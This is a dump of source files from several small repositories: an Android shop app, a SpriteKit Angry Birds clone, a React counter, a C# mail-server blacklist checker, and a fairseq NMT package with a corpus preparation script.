import android.widget.LinearLayout;
import android.widget.TextView;
import androidx.annotation.NonNull;
import androidx.cardview.widget.CardView;
import androidx.recyclerview.widget.RecyclerView;
import java.util.List;
public class RecyclerViewAdapterJasa extends RecyclerView.Adapter<RecyclerViewAdapterJasa.MyViewHolder> {
Context mContext ;
private List<ModelJasa> mData ;
public RecyclerViewAdapterJasa(Context mContext, List<ModelJasa> mData) {
this.mContext = mContext;
this.mData = mData;
}
@Override
public MyViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
View v ;
v = LayoutInflater.from(mContext).inflate(R.layout.cardview_jasa,parent,false);
final MyViewHolder vHolder = new MyViewHolder(v);
return vHolder;
}
@Override
public void onBindViewHolder(@NonNull MyViewHolder holder, final int position) {
holder.tv_jasa_title.setText(mData.get(position).getJasaNama());
holder.tv_jasa_desc.setText(mData.get(position).getJasaDesc());
holder.tv_jasa_harga.setText(mData.get(position).getJasaHarga());
holder.tv_jasa_durasi.setText(mData.get(position).getJasaDurasi());
}
@Override
public int getItemCount() {
return mData.size();
}
public static class MyViewHolder extends RecyclerView.ViewHolder {
private TextView tv_jasa_title;
private TextView tv_jasa_desc;
private TextView tv_jasa_harga;
private TextView tv_jasa_durasi;
private CardView cardView;
private LinearLayout i_jasa;
public MyViewHolder(View itemView) {
super(itemView);
tv_jasa_title = (TextView) itemView.findViewById(R.id.jasa_title);
tv_jasa_desc = (TextView) itemView.findViewById(R.id.jasa_desc);
tv_jasa_harga = (TextView) itemView.findViewById(R.id.jasa_harga);
tv_jasa_durasi = (TextView) itemView.findViewById(R.id.jasa_durasi);
cardView = (CardView) itemView.findViewById(R.id.cardviewjasa_id);
i_jasa = (LinearLayout) itemView.findViewById(R.id.ijasa);
}
}
}
```
FragmentProduk.java
```package com.example.borstel;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.fragment.app.Fragment;
import androidx.recyclerview.widget.GridLayoutManager;
import androidx.recyclerview.widget.LinearLayoutManager;
import androidx.recyclerview.widget.RecyclerView;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import java.util.ArrayList;
import java.util.List;
import retrofit2.Call;
import retrofit2.Callback;
import retrofit2.Response;
public class FragmentProduk extends Fragment {
View view;
private RecyclerView mrv;
private RecyclerView.Adapter mAdapter;
private List<ModelProduk> ProdukList;
Context mContext2;
ApiInterface mApiIn;
public FragmentProduk() {
}
@Override
public void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ProdukList = new ArrayList<>();
}
@Nullable
@Override
public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
view = inflater.inflate(R.layout.fragment_produk,container,false);
mrv = (RecyclerView) view.findViewById(R.id.recyclerview_id);
mApiIn = ApiClient.getClient().create(ApiInterface.class);
refresh();
return view;
}
public void refresh() {
Call<GetJasaProduk> wisataCall = mApiIn.getProduk();
wisataCall.enqueue(new Callback<GetJasaProduk>() {
@Override
public void onResponse(Call<GetJasaProduk> call, Response<GetJasaProduk>
response) {
List<ModelProduk> ProdukList = response.body().getProduk();
Log.d("Retrofit Get", "Jumlah data Kontak: " +
String.valueOf(ProdukList.size()));
mAdapter = new RecyclerViewAdapter(getContext(),ProdukList);
mrv.setLayoutManager(new LinearLayoutManager(getActivity()));
mrv.setLayoutManager(new GridLayoutManager(getContext(),3));
mrv.setAdapter(mAdapter);
}
@Override
public void onFailure(Call<GetJasaProduk> call, Throwable t) {
Log.e("Retrofit Get", t.toString());
}
});
}
}
```
ApiInterface.java
```package com.example.borstel;
import retrofit2.Call;
import retrofit2.http.GET;
public interface ApiInterface {
@GET("ApiYusuf")
Call<GetJasaProduk> getProduk();
@GET("ApiYusuf")
Call<GetJasaProduk> getJasa();
// @FormUrlEncoded
// @POST("kontak")
// Call<PostPutDelWisata> postKontak(@Field("nama") String nama,
// @Field("nomor") String nomor);
// @FormUrlEncoded
// @PUT("kontak")
// Call<PostPutDelWisata> putKontak(@Field("id") String id,
// @Field("nama") String nama,
// @Field("nomor") String nomor);
// @FormUrlEncoded
// @HTTP(method = "DELETE", path = "kontak", hasBody = true)
// Call<PostPutDelWisata> deleteKontak(@Field("id") String id);
}
```
ModelJasa.java
```package com.example.borstel;
import com.google.gson.annotations.Expose;
import com.google.gson.annotations.SerializedName;
public class ModelJasa {
@SerializedName("jasa_nama")
@Expose
private String jasaNama;
@SerializedName("jasa_id")
@Expose
private String jasaId;
@SerializedName("jasa_desc")
@Expose
private String jasaDesc;
@SerializedName("jasa_durasi")
@Expose
private String jasaDurasi;
@SerializedName("jasa_harga")
@Expose
private String jasaHarga;
public String getJasaNama() {
return jasaNama;
}
public void setJasaNama(String jasaNama) {
this.jasaNama = jasaNama;
}
public String getJasaId() {
return jasaId;
}
public void setJasaId(String jasaId) {
this.jasaId = jasaId;
}
public String getJasaDesc() {
return jasaDesc;
}
public void setJasaDesc(String jasaDesc) {
this.jasaDesc = jasaDesc;
}
public String getJasaDurasi() {
return jasaDurasi;
}
public void setJasaDurasi(String jasaDurasi) {
this.jasaDurasi = jasaDurasi;
}
public String getJasaHarga() {
return jasaHarga;
}
public void setJasaHarga(String jasaHarga) {
this.jasaHarga = jasaHarga;
}
}```
MainActivity.java
```package com.example.borstel;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.view.View;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;
import androidx.appcompat.widget.Toolbar;
import androidx.fragment.app.Fragment;
import androidx.fragment.app.FragmentManager;
import androidx.fragment.app.FragmentPagerAdapter;
import androidx.viewpager.widget.ViewPager;
import com.google.android.material.tabs.TabLayout;
import java.util.ArrayList;
import java.util.List;
public class MainActivity extends AppCompatActivity {
private Toolbar toolbar;
private ViewPager viewPager;
private TabLayout tabLayout;
private FragmentHome fragmentHome;
private FragmentProduk fragmentProduk;
private FragmentBors fragmentBors;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
viewPager = findViewById(R.id.view_pager);
tabLayout = findViewById(R.id.tab_layout);
fragmentHome = new FragmentHome();
fragmentProduk = new FragmentProduk();
fragmentBors = new FragmentBors();
tabLayout.setupWithViewPager(viewPager);
ViewPagerAdapter viewPagerAdapter = new ViewPagerAdapter(getSupportFragmentManager(), 0);
viewPagerAdapter.addFragmet(fragmentBors, "Home");
viewPagerAdapter.addFragmet(fragmentHome, "PriceList");
viewPagerAdapter.addFragmet(fragmentProduk, "Shop");;
viewPager.setAdapter(viewPagerAdapter);
tabLayout.getTabAt(0).setIcon(R.drawable.ic_home_black_24dp);
tabLayout.getTabAt(1).setIcon(R.drawable.ic_local_library_black_24dp);
tabLayout.getTabAt(2).setIcon(R.drawable.ic_shopping_cart_black_24dp);
}
private class ViewPagerAdapter extends FragmentPagerAdapter {
private List<Fragment> fragments = new ArrayList<>();
private List<String> framentTitle = new ArrayList<>();
public ViewPagerAdapter(@NonNull FragmentManager fm, int behavior) {
super(fm, behavior);
}
public void addFragmet(Fragment fragment, String title){
fragments.add(fragment);
framentTitle.add(title);
}
@NonNull
@Override
public Fragment getItem(int position) {
return fragments.get(position);
}
@Override
public int getCount() {
return fragments.size();
}
@Nullable
@Override
public CharSequence getPageTitle(int position) {
return framentTitle.get(position);
}
}
public void openWA(View view) {
Intent sendWA = new Intent();
sendWA.setAction(Intent.ACTION_SEND);
sendWA.putExtra(Intent.EXTRA_TEXT, "Hi Borstel");
sendWA.putExtra("jid", "62895370301188" + "@s.whatsapp.net");
sendWA.setType("text/plain");
sendWA.setPackage("com.whatsapp");
startActivity(sendWA);
}
public void openMap(View view) {
Intent map = new Intent(Intent.ACTION_VIEW, Uri.parse("https://www.google.com/maps/place/Jl.+Waas+I+No.6,+Batununggal,+Kec.+Bandung+Kidul,+Kota+Bandung,+Jawa+Barat+40266/@-6.9513756,107.6242606,16z/data=!4m13!1m7!3m6!1s0x2e68e85e8f585e25:0x6784414ee13c880f!2sJl.+Waas+I+No.6,+Batununggal,+Kec.+Bandung+Kidul,+Kota+Bandung,+Jawa+Barat+40266!3b1!8m2!3d-6.951119!4d107.6267052!3m4!1s0x2e68e85e8f585e25:0x6784414ee13c880f!8m2!3d-6.951119!4d107.6267052"));
startActivity(map);
}
}
```
FragmentHome.java
```package com.example.borstel;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.fragment.app.Fragment;
import androidx.recyclerview.widget.LinearLayoutManager;
import androidx.recyclerview.widget.RecyclerView;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import java.util.ArrayList;
import java.util.List;
import retrofit2.Call;
import retrofit2.Callback;
import retrofit2.Response;
public class FragmentHome extends Fragment{
View v;
private RecyclerView mrv2;
private RecyclerView.Adapter mAdapter;
private List<ModelJasa> JasaList;
private Button bn;
Context mContext;
ApiInterface mApiIn;
public FragmentHome() {
}
@Override
public void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
JasaList = new ArrayList<>();
}
@Nullable
@Override
public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
v = inflater.inflate(R.layout.fragment_home,container,false);
mrv2 = (RecyclerView) v.findViewById(R.id.recyclerview_id2);
mApiIn = ApiClient.getClient().create(ApiInterface.class);
refresh();
return v;
}
public void refresh() {
Call<GetJasaProduk> wisataCall = mApiIn.getJasa();
wisataCall.enqueue(new Callback<GetJasaProduk>() {
@Override
public void onResponse(Call<GetJasaProduk> call, Response<GetJasaProduk>
response) {
List<ModelJasa> JasaList = response.body().getJasa();
Log.d("Retrofit Get", "Jumlah data Kontak: " +
String.valueOf(JasaList.size()));
mAdapter = new RecyclerViewAdapterJasa(getContext(),JasaList);
mrv2.setLayoutManager(new LinearLayoutManager(getActivity()));
mrv2.setAdapter(mAdapter);
}
@Override
public void onFailure(Call<GetJasaProduk> call, Throwable t) {
Log.e("Retrofit Get", t.toString());
}
});
}
}
```
|
yusufcaglar/iOS12-AngryBirdClone
|
yusufcaglar/iOS12-AngryBirdClone
GameScene.swift
```//
// GameScene.swift
// Angry Bird Clone
//
// Created by Yusuf รAฤLAR on 30/10/2018.
// Copyright ยฉ 2018 Yusuf รAฤLAR. All rights reserved.
//
import SpriteKit
import GameplayKit
class GameScene: SKScene, SKPhysicsContactDelegate {
var bird = SKSpriteNode()
var background = SKSpriteNode()
var tree = SKSpriteNode()
var box = SKSpriteNode()
var box2 = SKSpriteNode()
var box3 = SKSpriteNode()
var box4 = SKSpriteNode()
var box5 = SKSpriteNode()
var gameStarted = false
var originalPosition : CGPoint!
var score = 0
var scoreLabel = SKLabelNode()
enum ColliderType: UInt32 {
case Bird = 1
case Box = 2
}
override func didMove(to view: SKView) {
// Physics Body
physicsBody = SKPhysicsBody(edgeLoopFrom: frame)
// Delegate
physicsWorld.contactDelegate = self
// Bird
let texture = SKTexture(imageNamed: "bird.png")
bird = SKSpriteNode(texture: texture)
bird.size = CGSize(width: self.frame.width / 14, height: self.frame.width / 12)
bird.position = CGPoint(x: -420, y: -45)
bird.zPosition = 2
self.addChild(bird)
bird.physicsBody = SKPhysicsBody(circleOfRadius: texture.size().height / 10)
bird.physicsBody?.isDynamic = true
bird.physicsBody?.mass = 0.1
bird.physicsBody?.affectedByGravity = false
originalPosition = bird.position
bird.physicsBody?.contactTestBitMask = ColliderType.Bird.rawValue
bird.physicsBody?.categoryBitMask = ColliderType.Bird.rawValue
bird.physicsBody?.collisionBitMask = ColliderType.Box.rawValue
// Background
let backgroundTexture = SKTexture(imageNamed: "background.png")
background = SKSpriteNode(texture: backgroundTexture)
background.size = CGSize(width: self.frame.width, height: self.frame.height)
background.position = CGPoint(x: 0, y: 0)
background.zPosition = 0
self.addChild(background)
// Tree
let treeTexture = SKTexture(imageNamed: "tree.png")
tree = SKSpriteNode(texture: treeTexture)
tree.size = CGSize(width: self.frame.width / 5, height: self.frame.height / 3)
tree.position = CGPoint(x: -400, y: -148)
tree.zPosition = 1
self.addChild(tree)
// Boxes
let boxTexture = SKTexture(imageNamed: "box.png")
box = SKSpriteNode(texture: boxTexture)
box.size = CGSize(width: boxTexture.size().width / 5, height: boxTexture.size().height / 5)
box.position = CGPoint(x: 300, y: 0)
box.zPosition = 2
box.physicsBody?.isDynamic = true
box.physicsBody?.affectedByGravity = true
box.physicsBody = SKPhysicsBody(rectangleOf: box.size)
box.physicsBody?.collisionBitMask = ColliderType.Bird.rawValue
self.addChild(box)
let boxTexture2 = SKTexture(imageNamed: "box.png")
box2 = SKSpriteNode(texture: boxTexture2)
box2.size = CGSize(width: boxTexture2.size().width / 5, height: boxTexture2.size().height / 5)
box2.position = CGPoint(x: 250, y: -100)
box2.zPosition = 2
box2.physicsBody?.isDynamic = true
box2.physicsBody?.affectedByGravity = true
box2.physicsBody = SKPhysicsBody(rectangleOf: box2.size)
box2.physicsBody?.collisionBitMask = ColliderType.Bird.rawValue
self.addChild(box2)
let boxTexture3 = SKTexture(imageNamed: "box.png")
box3 = SKSpriteNode(texture: boxTexture3)
box3.size = CGSize(width: boxTexture3.size().width / 5, height: boxTexture3.size().height / 5)
box3.position = CGPoint(x: 200, y: -200)
box3.zPosition = 2
box3.physicsBody?.isDynamic = true
box3.physicsBody?.affectedByGravity = true
box3.physicsBody = SKPhysicsBody(rectangleOf: box3.size)
box3.physicsBody?.collisionBitMask = ColliderType.Bird.rawValue
self.addChild(box3)
let boxTexture4 = SKTexture(imageNamed: "box.png")
box4 = SKSpriteNode(texture: boxTexture4)
box4.size = CGSize(width: boxTexture3.size().width / 5, height: boxTexture4.size().height / 5)
box4.position = CGPoint(x: 350, y: -100)
box4.zPosition = 2
box4.physicsBody?.isDynamic = true
box4.physicsBody?.affectedByGravity = true
box4.physicsBody = SKPhysicsBody(rectangleOf: box4.size)
box4.physicsBody?.collisionBitMask = ColliderType.Bird.rawValue
self.addChild(box4)
let boxTexture5 = SKTexture(imageNamed: "box.png")
box5 = SKSpriteNode(texture: boxTexture5)
box5.size = CGSize(width: boxTexture5.size().width / 5, height: boxTexture5.size().height / 5)
box5.position = CGPoint(x: 400, y: -200)
box5.zPosition = 2
box5.physicsBody?.isDynamic = true
box5.physicsBody?.affectedByGravity = true
box5.physicsBody = SKPhysicsBody(rectangleOf: box5.size)
box5.physicsBody?.collisionBitMask = ColliderType.Bird.rawValue
self.addChild(box5)
// Score
scoreLabel.fontName = "Helvetica"
scoreLabel.fontSize = 53
scoreLabel.text = "0"
scoreLabel.position = CGPoint(x: 0, y: self.frame.height / 4)
scoreLabel.zPosition = 3
self.addChild(scoreLabel)
}
func didBegin(_ contact: SKPhysicsContact) {
if contact.bodyA.collisionBitMask == ColliderType.Bird.rawValue || contact.bodyB.collisionBitMask == ColliderType.Bird.rawValue {
score = score + 1
scoreLabel.text = String(score)
}
}
override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) {
if gameStarted == false {
if let touch = touches.first {
let touchLocation = touch.location(in: self)
let touchNodes = nodes(at: touchLocation)
if touchNodes.isEmpty == false {
for node in touchNodes {
if let sprite = node as? SKSpriteNode {
if sprite == bird {
bird.position = touchLocation
}
}
}
}
}
}
}
override func touchesMoved(_ touches: Set<UITouch>, with event: UIEvent?) {
if gameStarted == false {
if let touch = touches.first {
let touchLocation = touch.location(in: self)
let touchNodes = nodes(at: touchLocation)
if touchNodes.isEmpty == false {
for node in touchNodes {
if let sprite = node as? SKSpriteNode {
if sprite == bird {
bird.position = touchLocation
}
}
}
}
}
}
}
override func touchesEnded(_ touches: Set<UITouch>, with event: UIEvent?) {
if gameStarted == false {
if let touch = touches.first {
let touchLocation = touch.location(in: self)
let touchNodes = nodes(at: touchLocation)
if touchNodes.isEmpty == false {
for node in touchNodes {
if let sprite = node as? SKSpriteNode {
if sprite == bird {
let dx = -(touchLocation.x - originalPosition.x)
let dy = -(touchLocation.y - originalPosition.y)
let impulse = CGVector(dx: dx, dy: dy)
bird.physicsBody?.applyImpulse(impulse)
bird.physicsBody?.affectedByGravity = true
gameStarted = true
}
}
}
}
}
}
}
override func touchesCancelled(_ touches: Set<UITouch>, with event: UIEvent?) {
}
override func update(_ currentTime: TimeInterval) {
if let birdPhysicsBody = bird.physicsBody {
if birdPhysicsBody.velocity.dx <= 0.1 {
if birdPhysicsBody.velocity.dy <= 0.1 {
if birdPhysicsBody.angularVelocity <= 0.1 {
if gameStarted == true {
self.bird.physicsBody?.affectedByGravity = false
self.bird.physicsBody?.velocity = CGVector(dx: 0, dy: 0)
self.bird.physicsBody?.angularVelocity = 0
self.bird.position = self.originalPosition
self.score = 0
self.scoreLabel.text = "\(score)"
self.gameStarted = false
}
}
}
}
}
}
}
```
|
yusufdavut/reactCounter
|
yusufdavut/reactCounter
counter.js
```const root = document.getElementById("root");
class Counter extends React.Component{
constructor(props) {
super(props);
this.plusBtn = this.plusBtn.bind(this);
this.minusBtn = this.minusBtn.bind(this);
this.resetBtn = this.resetBtn.bind(this);
this.state={
number: 0
}
}
plusBtn(){
this.setState((prevState) => {
return{
number: prevState.number + 1
};
})
}
minusBtn(){
this.setState((prevState) => {
return{
number: prevState.number - 1
};
})
}
resetBtn(){
this.setState({
number: 0
});
}
render(){
return(
<div>
<h1>{this.state.number}</h1>
<button onClick={this.plusBtn}>+1</button>
<button onClick={this.minusBtn}>-1</button>
<button onClick={this.resetBtn}>Reset</button>
</div>
);
};
}
ReactDOM.render(<Counter/>,root);```
|
yusufdoru/cKaraListKontrol
|
yusufdoru/cKaraListKontrol
Form1.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace cKaraListKontrol
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
}
private void btnBaslat_Click(object sender, EventArgs e)
{
if (btnBaslat.Text == "BAลLAT") // Program ilk aรงฤฑldฤฑฤฤฑnda "BAลLAT" butonu aktiftir.
{
tmrZamanlayici.Interval = Int32.Parse(txtMS.Text); // Milisaniyeyi alฤฑp ilk รถnce string'i int'e รงevirdik yaptฤฑk. Daha sonra bunu Timer nesnesinin Interval รถzelliฤine atadฤฑk.
txtMS.Enabled = false; // int olarak milisaniye deฤeri alan text kutucuฤunu eriลime kapattฤฑk.
txtUrl.Enabled = false; // txtURL ID'li text kutucuฤunu eriลime kapadฤฑk.
tmrZamanlayici.Enabled = true; // Zamanlayฤฑcฤฑ Timer kontrolรผnรผ aktif ettik.
btnBaslat.Text = "DURDUR"; // BAลLAT butonuna bastฤฑฤฤฑmฤฑzda haliyle "DURDUR" yazฤฑsฤฑ set ediliyor.
StartTest(); // ve burdaki iลimiz "StartTest" metoduyla bitiyor.
}
else // DURDUR butuna tฤฑklandฤฑฤฤฑnda
{
txtMS.Enabled = true;
tmrZamanlayici.Enabled = false;
txtUrl.Enabled = true;
lblDurum.Text = "-TEST YAPILMADI-"; // Durumu baลlangฤฑรงtaki haline getiriyoruz.
lblDurum.ForeColor = Color.Black;
btnBaslat.Text = "BAลLAT";
}
}
void StartTest()
{
wb.Url = new Uri("http://mxtoolbox.com/SuperTool.aspx?action=blacklist%3a" + txtUrl.Text + "&run=toolpage");
// Kara liste kontrolรผnรผ mxtoolbox.com adresinden yapฤฑyoruz. Site ajax kullanฤฑyor.
}
private void web_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e) // mxtoolbox.com adresinin kaynak kodlarฤฑ yรผklendiฤinde.
{
tmrFullLoaded.Enabled = true;
// Burasฤฑ "DocumentCompleted" olayฤฑ tetiklendiฤinde kod blogu รงalฤฑลฤฑyor. Fakat sitemiz ajax ile รงalฤฑลtฤฑฤฤฑ iรงin timer kontrolรผ ile istediฤimiz deฤerin yรผklenip yรผklenmediฤini kontrol etmeliyiz.
}
private void tmrFullLoaded_Tick(object sender, EventArgs e) // ฤฐlgili sitedeki ajax'ฤฑn baลarฤฑyla yรผklenip yรผklenmediฤini anlamaya รงalฤฑลฤฑyoruz.
{
string innerHtml = IsAjaxLoaded(wb.Document.GetElementById("lblResult"));// "IsAjaxLoaded" metodu bana "#lblResult" iรงindeki veriyi dรถndรผrรผyor.
if (!String.IsNullOrEmpty(innerHtml)) { // "innerHtml" null veya boล deฤilse
CheckList(innerHtml); // Kara listede var yada yok kontrolรผ. innerHtml burada parametre olarak gรถnderiliyor.
tmrFullLoaded.Enabled = false; // Amacฤฑmฤฑza ulaลtฤฑฤฤฑmฤฑza gรถre Timer kontrolรผnรผ devredฤฑลฤฑ bฤฑrakabiliriz.
}
}
string IsAjaxLoaded(HtmlElement cTag)
{
cTag = wb.Document.GetElementById("lblResult"); // #lblResult idsini deฤiลkene atฤฑyoruz.
if (cTag != null) // eฤer "lblResult" varsa null deฤildir.
{
if (cTag.InnerHtml != null && cTag.InnerHtml.Contains("Reported by") == true)
return cTag.InnerHtml; // Burada innerHtml null deฤilse ve innerhtml iรงinde "Reported by" kelimesi geรงiyorsa raporlama bitmiลtir deyip string olarak dรถndรผrรผyoruz.
}
return null;
}
void CheckList(string innerHtml) // Kara listede var veya yok kontrolรผ.
{
if (innerHtml.Contains(" LISTED")) // Eฤer innerHtml iรงinde LISTED kelimesi geรงiyorsa mail sunucusu kara listededir.
{
lblDurum.Text = "KARA LฤฐSTEDE !";
lblDurum.ForeColor = Color.Red;
}
else // รstteki ลart saฤlanmamฤฑลsa listede olmamasฤฑndan baลka seรงenek yok gibi gรถrรผnรผyor.
{
lblDurum.Text = "LฤฐSTEDE DEฤฤฐL :)";
lblDurum.ForeColor = Color.Green;
}
}
private void tmrZamanlayici_Tick(object sender, EventArgs e) // txtMS ile belirttiฤimiz milisaniyede bir tetiklenen olay.
{
StartTest(); // รstteki kontrol aลamalarฤฑ tekrarlanฤฑyor.
}
}
}
```
README.md
```Checks whether a given mail server blacklisted.
Visual Studio 2012 and NET 4.0 has been developed.```
Form1.Designer.cs
```๏ปฟnamespace cKaraListKontrol
{
partial class Form1
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.wb = new System.Windows.Forms.WebBrowser();
this.tmrFullLoaded = new System.Windows.Forms.Timer(this.components);
this.lblDurum = new System.Windows.Forms.Label();
this.label2 = new System.Windows.Forms.Label();
this.tmrZamanlayici = new System.Windows.Forms.Timer(this.components);
this.btnBaslat = new System.Windows.Forms.Button();
this.label3 = new System.Windows.Forms.Label();
this.txtMS = new System.Windows.Forms.TextBox();
this.label1 = new System.Windows.Forms.Label();
this.txtUrl = new System.Windows.Forms.TextBox();
this.SuspendLayout();
//
// wb
//
this.wb.Location = new System.Drawing.Point(44, 77);
this.wb.MinimumSize = new System.Drawing.Size(20, 20);
this.wb.Name = "wb";
this.wb.Size = new System.Drawing.Size(192, 20);
this.wb.TabIndex = 3;
this.wb.Visible = false;
this.wb.DocumentCompleted += new System.Windows.Forms.WebBrowserDocumentCompletedEventHandler(this.web_DocumentCompleted);
//
// tmrFullLoaded
//
this.tmrFullLoaded.Interval = 500;
this.tmrFullLoaded.Tick += new System.EventHandler(this.tmrFullLoaded_Tick);
//
// lblDurum
//
this.lblDurum.AutoSize = true;
this.lblDurum.Font = new System.Drawing.Font("Microsoft Sans Serif", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(162)));
this.lblDurum.Location = new System.Drawing.Point(70, 138);
this.lblDurum.Name = "lblDurum";
this.lblDurum.Size = new System.Drawing.Size(254, 31);
this.lblDurum.TabIndex = 5;
this.lblDurum.Text = "-TEST YAPILMADI-";
//
// label2
//
this.label2.AutoSize = true;
this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(162)));
this.label2.Location = new System.Drawing.Point(58, 116);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(277, 17);
this.label2.TabIndex = 6;
this.label2.Text = "Alanadฤฑ / IP girip, BAลLAT butonuna basฤฑn.";
//
// tmrZamanlayici
//
this.tmrZamanlayici.Interval = 360000;
this.tmrZamanlayici.Tick += new System.EventHandler(this.tmrZamanlayici_Tick);
//
// btnBaslat
//
this.btnBaslat.Location = new System.Drawing.Point(242, 74);
this.btnBaslat.Name = "btnBaslat";
this.btnBaslat.Size = new System.Drawing.Size(93, 23);
this.btnBaslat.TabIndex = 18;
this.btnBaslat.Text = "BAลLAT";
this.btnBaslat.UseVisualStyleBackColor = true;
this.btnBaslat.Click += new System.EventHandler(this.btnBaslat_Click);
//
// label3
//
this.label3.AutoSize = true;
this.label3.Location = new System.Drawing.Point(56, 45);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(91, 13);
this.label3.TabIndex = 16;
this.label3.Text = "Zamanlayฤฑcฤฑ (MS):";
//
// txtMS
//
this.txtMS.Location = new System.Drawing.Point(149, 44);
this.txtMS.Name = "txtMS";
this.txtMS.Size = new System.Drawing.Size(186, 20);
this.txtMS.TabIndex = 17;
this.txtMS.Text = "3600000";
//
// label1
//
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(56, 21);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(69, 13);
this.label1.TabIndex = 14;
this.label1.Text = "Alanadฤฑ / IP :";
//
// txtUrl
//
this.txtUrl.Location = new System.Drawing.Point(149, 18);
this.txtUrl.Name = "txtUrl";
this.txtUrl.Size = new System.Drawing.Size(186, 20);
this.txtUrl.TabIndex = 15;
this.txtUrl.Text = "mail.yusufdoru.com";
//
// Form1
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(398, 199);
this.Controls.Add(this.btnBaslat);
this.Controls.Add(this.label3);
this.Controls.Add(this.txtMS);
this.Controls.Add(this.label1);
this.Controls.Add(this.txtUrl);
this.Controls.Add(this.label2);
this.Controls.Add(this.lblDurum);
this.Controls.Add(this.wb);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
this.MaximizeBox = false;
this.Name = "Form1";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "C# Kara Liste Kontrolรผ 1.0 - www.yusufdoru.com";
this.Load += new System.EventHandler(this.Form1_Load);
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.WebBrowser wb;
private System.Windows.Forms.Timer tmrFullLoaded;
private System.Windows.Forms.Label lblDurum;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.Timer tmrZamanlayici;
private System.Windows.Forms.Button btnBaslat;
private System.Windows.Forms.Label label3;
private System.Windows.Forms.TextBox txtMS;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.TextBox txtUrl;
}
}
```
|
yusufkhan004/ML-repo
|
yusufkhan004/ML-repo
README.md
```# Machine_Learning
This repository contains different types of machine learning based projects
```
|
yusuke1997/dbsa
|
yusuke1997/dbsa
setup.py
```# -*- coding: utf-8 -*-
# DO NOT EDIT THIS FILE!
# This file has been autogenerated by dephell <3
# https://github.com/dephell/dephell
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
readme = ''
setup(
long_description=readme,
name='dbsa',
version='0.1.0',
description='Dependency-Based Self-Attention for Transformer NMT (Deguchi et al., 2019)',
python_requires='==3.*,>=3.6.0',
author='Hiroyuki Deguchi',
author_email='deguchi@ai.cs.ehime-u.ac.jp',
license='MIT',
entry_points={
"console_scripts": ["fairseq-dbsa-generate = generate:cli_main"]
},
packages=[
'dbsa', 'dbsa.criterions', 'dbsa.data', 'dbsa.models', 'dbsa.modules',
'dbsa.tasks'
],
package_dir={"": "."},
package_data={},
install_requires=['fairseq'],
dependency_links=[
'git+https://github.com/de9uch1/fairseq.git@return_self_attn#egg=fairseq'
],
)
```
prepare-aspec.sh
```#!/bin/bash
# Copyright (c) Hiroyuki Deguchi
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
function not_exists() {
! ( [[ -d $TOOLS_DIR/$1 ]] || [[ -f $1 ]] )
}
function corpora_not_exists() {
! [[ -d $orig ]] || ! [[ -f $orig/train.$src ]]
}
ASPEC_JE=${ASPEC_JE:-/path/to/ASPEC/ASPEC-JE} # replace with your correct path
if ! [[ -f $ASPEC_JE/train/train-1.txt ]]; then
cat << __EOT__
\$ASPEC_JE ($ASPEC_JE) is not the correct path.
Please set 'ASPEC_JE' to the correct path.
Example:
When ASPEC-JE is given with the following path,
you must set ASPEC_JE as follows:
$ export ASPEC_JE="/path/to/ASPEC/ASPEC-JE"
/path/to/ASPEC/ASPEC-JE
โโโ dev
โย ย โโโ dev.txt
โโโ devtest
โย ย โโโ devtest.txt
โโโ README
โโโ README-j
โโโ test
โย ย โโโ test.txt
โโโ train
โโโ train-1.txt
โโโ train-2.txt
โโโ train-3.txt
__EOT__
exit -1
fi
TOOLS_DIR=$(realpath ${TOOLS_DIR:-$HOME/.cache/nlp_tools})
mkdir -p $TOOLS_DIR
